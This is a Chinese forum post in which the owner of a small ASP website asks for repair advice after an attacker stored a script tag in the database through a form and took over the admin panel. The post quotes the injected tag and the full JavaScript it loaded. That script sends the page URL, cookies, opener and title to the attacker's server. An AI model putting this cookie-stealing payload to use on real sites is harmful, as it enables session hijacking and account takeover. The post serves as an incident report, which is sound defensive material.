紧急求助,网站的数据库被人挂马,各位给个修复的建议!!
昨天晚上,我的一个小站被黑客入侵,小站使用的是asp程序做的,黑客主要是通过表单提交js代码到了我的数据库,然后获取了我的后台。
黑客提交的内容:<script src=这里是他的一个地址></script>
打开他的地址出现:
(function(){(new Image()).src='和上面的地址一样/?keepsession=1&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})())+'&title='+encodeURIComponent((function(){try{return document.title}catch(e){return ''}})());})();